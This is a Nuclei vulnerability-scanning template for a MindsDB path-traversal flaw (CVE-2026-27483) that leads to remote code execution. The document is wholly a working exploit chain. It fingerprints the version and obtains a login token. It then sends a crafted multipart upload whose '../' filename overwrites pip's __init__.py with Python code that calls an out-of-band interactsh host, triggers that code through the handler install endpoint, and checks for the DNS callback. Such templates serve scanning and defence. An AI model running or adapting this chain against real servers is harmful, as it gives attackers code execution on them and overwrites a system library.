README.md
Rendering markdown...
id: CVE-2026-27483
info:
name: MindsDB - Path Traversal to Remote Code Execution
author: thewhiteh4t
severity: high
description: |
MindsDB <= v25.9.1.0 is vulnerable to path traversal in PUT /api/files/.
The python-multipart parser writes uploaded files using the attacker-controlled
filename field without sanitization, allowing ../ sequences to write arbitrary
content to any path writable by the MindsDB process. Template targets Python 3.10 installations.
The vulnerable range is narrowed to >= 25.4.1.0 and <= 25.9.1.0 where Python 3.10 became the
minimum supported version.
reference:
- https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4894-xqv6-vrfq
- https://github.com/mindsdb/mindsdb/commit/87a44bdb2b97f963e18f10a068e1a1e2690505ef
- https://github.com/mindsdb/mindsdb/releases/tag/v25.9.1.1
- https://nvd.nist.gov/vuln/detail/CVE-2026-27483
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2026-27483
cwe-id: CWE-22
metadata:
verified: true
max-request: 5
vendor: MindsDB
product: MindsDB
shodan-query: http.title:"MindsDB"
tags: cve,cve2026,mindsdb,path-traversal,rce,oast,intrusive,unauth
variables:
username: ""
password: ""
token: ""
filename: "{{randstr}}"
flow: http(1) && http(2) && http(3) && http(4) && http(5)
http:
- id: fingerprint
method: GET
path:
- "{{BaseURL}}/api/status"
extractors:
- type: regex
name: mindsdb_version
part: body
group: 1
regex:
- '"mindsdb_version":\s*"([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)'
internal: true
- type: regex
name: http_auth_enabled
part: body
group: 1
regex:
- '"http_auth_enabled":\s*(true|false)'
internal: true
matchers-condition: and
matchers:
- type: status
internal: true
status:
- 200
- type: word
internal: true
words:
- "mindsdb_version"
part: body
- type: dsl
dsl:
- 'compare_versions(mindsdb_version, ">= 25.4.1.0", "< 25.9.1.1")'
internal: true
- id: local-login
method: POST
path:
- "{{BaseURL}}/api/login"
headers:
Content-Type: "application/json"
body: '{"username":"{{username}}","password":"{{password}}"}'
matchers-condition: or
matchers:
- type: dsl
internal: true
dsl:
- 'status_code == 200 && contains(body, "token")'
- type: dsl
internal: true
dsl:
- 'status_code == 400 && contains(body, "Error in username or password")'
extractors:
- type: regex
name: token
part: body
group: 1
regex:
- '{"token":\s*"([^"]+)"'
internal: true
- id: upload
raw:
- |
PUT /api/files/{{filename}} HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv9dZC0cAHLlHSHD9
Authorization: Bearer {{token}}
Connection: close
------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="name"
{{filename}}
------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="source"
{{filename}}
------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="source_type"
file
------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="file"; filename="../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py"
Content-Type: text/plain
import urllib.request
urllib.request.urlopen('http://{{interactsh-url}}')
------WebKitFormBoundaryv9dZC0cAHLlHSHD9--
matchers-condition: and
matchers:
- type: status
internal: true
status:
- 400
- type: word
internal: true
words:
- "Not supported format"
part: body
- id: trigger
method: POST
path:
- "{{BaseURL}}/api/handlers/anomaly_detection/install"
headers:
Content-Type: "application/json"
Authorization: "Bearer {{token}}"
body: "{}"
matchers-condition: and
matchers:
- type: status
internal: true
status:
- 500
- type: word
internal: true
words:
- "Failed to install dependencies"
part: body
- id: verify
method: GET
path:
- "{{BaseURL}}/api/status"
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"